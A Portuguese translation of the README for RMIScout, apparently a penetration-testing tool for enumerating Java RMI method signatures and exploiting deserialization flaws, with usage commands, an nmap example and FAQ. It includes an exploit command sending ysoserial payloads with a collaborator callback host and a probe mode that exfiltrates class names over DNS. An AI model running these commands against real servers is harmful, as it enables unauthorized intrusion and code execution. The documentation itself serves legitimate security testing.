
O RMIScout utiliza estratégias de wordlist e força bruta para enumerar funções Java RMI e explorar vulnerabilidades de desserialização de parâmetros RMI.
O RMIScout permite ataques de wordlist e força bruta contra interfaces Java RMI expostas para adivinhar assinaturas de métodos com segurança, sem invocação. Ele suporta múltiplos protocolos Java RMI, invocação de métodos e exploração.
Para identificar, mas não executar funções RMI, o RMIScout usa funções de rede RMI de baixo nível e geração dinâmica de classes para enviar invocações RMI com tipos deliberadamente incompatíveis para acionar exceções remotas. Todos os parâmetros são substituídos por uma classe serializável gerada dinamicamente com um nome de 255 caracteres que se presume não existir no classpath remoto. Por exemplo:
Interface Remota:
void login(String user, String password)
O RMIScout invocará:
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())
Se a classe estiver presente, isso resultará em uma java.rmi.UnmarshalException causada pelo ClassNotFoundException ou erro de desserialização de argumento sem invocar o método subjacente.
Para artigos técnicos mais detalhados:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Forneça uma wordlist de protótipos de métodos para verificar no servidor remoto. O RMIScout exibirá todas as correspondências identificadas.
Para RMI-IIOP/CORBA: A menos que os métodos sejam sobrecarregados, a força bruta e a invocação exigem apenas que os nomes correspondam (todas as outras informações são ignoradas).
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
Forneça uma wordlist de nomes de métodos candidatos, depois forneça uma lista separada por vírgulas de tipos de retorno candidatos, intervalo de número de parâmetros e tipos de parâmetros candidatos. O modo bruteforce gerará as permutações e procurará assinaturas correspondentes.
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
Em servidores mal configurados, qualquer assinatura RMI conhecida que use tipos não primitivos (por exemplo, java.util.List), pode ser explorada substituindo o objeto por um payload serializado. Esta é uma má configuração bastante comum (por exemplo, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server e Gemfire, Apache Karaf + Cassandra) conforme destacado na palestra de An Trinh no Blackhat EU 2019.
O RMIScout integra-se com ysoserial para realizar ataques de desserialização contra serviços que configuram incorretamente filtros de serialização em todo o processo (JEP 290).
Exemplos de assinaturas exploráveis:
void exampleMethod(java.util.Map a) // Qualquer tipo não primitivo
void exampleMethod(float[] a) // Qualquer tipo de array, mesmo primitivos
void exampleMethod(String a) // Funciona em JDKs mais antigos, veja abaixo...
Nota: Assinaturas contendo tipos java.lang.String são exploráveis apenas nas versões JRE 8/11/13/14 anteriores ao início de 2020 em RMI-JRMP, mas ainda são exploráveis atualmente em RMI-IIOP.
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>
O RMIScout permite invocar qualquer assinatura com primitivos, arrays primitivos ou Strings. Tipos mais avançados exigirão a escrita de um cliente personalizado.
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
O RMIScout integra-se com GadgetProbe para identificar classes no classpath remoto. Os nomes das classes são exfiltrados via DNS.
Use o script rmiscout.sh incluído para construir automaticamente o projeto e como um wrapper conveniente para a sintaxe java -jar:
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
Alternativamente, construa o projeto manualmente e use a sintaxe tradicional java -jar:
# Construir JAR manualmente
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Nota: RMI-IIOP (compilação/execução) e ysoserial (execução) dependem do JDK8.
Execute o servidor RMI de demonstração em docker. Experimente o demo/wordlist.txt incluído.
cd demo
./start_demo.sh
P: Como posso saber se <host>:<port> é um Registro RMI?
Use ./rmiscout list <host> <port> para obter informações sobre registros em um servidor remoto.
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]
Ou, use o script rmi-dumpregistry do nmap:
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn
PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-dumpregistry:
| ActivationServer
| com.bishopfox.example.ActivationImpl_Stub
| \x00\x0EActivatableRef
| extends
| java.rmi.server.RemoteStub
| extends
| java.rmi.server.RemoteObject
| plaintest
| implements com.bishopfox.example.HelloInterface,
| extends
| java.lang.reflect.Proxy
| fields
| Ljava/lang/reflect/InvocationHandler; h
| java.rmi.server.RemoteObjectInvocationHandler
| @127.0.0.1:1111
| extends
|_ java.rmi.server.RemoteObject
P: Encontrei um registro na porta 1098 com o nome java.rmi.activation.ActivationSystem. O que posso fazer com ele?
Este é um daemon do Sistema de Ativação rmid. Todos os seus métodos são restritos pelo SecurityManager. JREs mais recentes verificam se o peer remoto é originário de localhost antes de desserializar qualquer dado remoto. Versões mais antigas (pré-2011) não tinham essa verificação e podem ser vulneráveis. Veja https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
P: Posso executar o RMIScout com um runtime mais recente que o JRE 8?
R: Tecnicamente sim, mas uma variedade de recursos deixará de funcionar. O suporte a CORBA, suporte a probe e ysoserial (modo exploit) exigem uma dependência do JRE 8.
P: Por que estou recebendo uma CannotCompileException?
R: Uma CannotCompileException ocorre quando um nome de método ou protótipo inválido é fornecido diretamente ou via uma wordlist. O RMIScout gera bytecode para assinaturas candidatas fornecidas pelo usuário em tempo de execução. Embora o RMIScout tenha regras básicas para corrigir erros comuns de sintaxe em protótipos fornecidos pelo usuário, às vezes ele falha.
Twitter: @BumbleSec
GitHub: the-bumble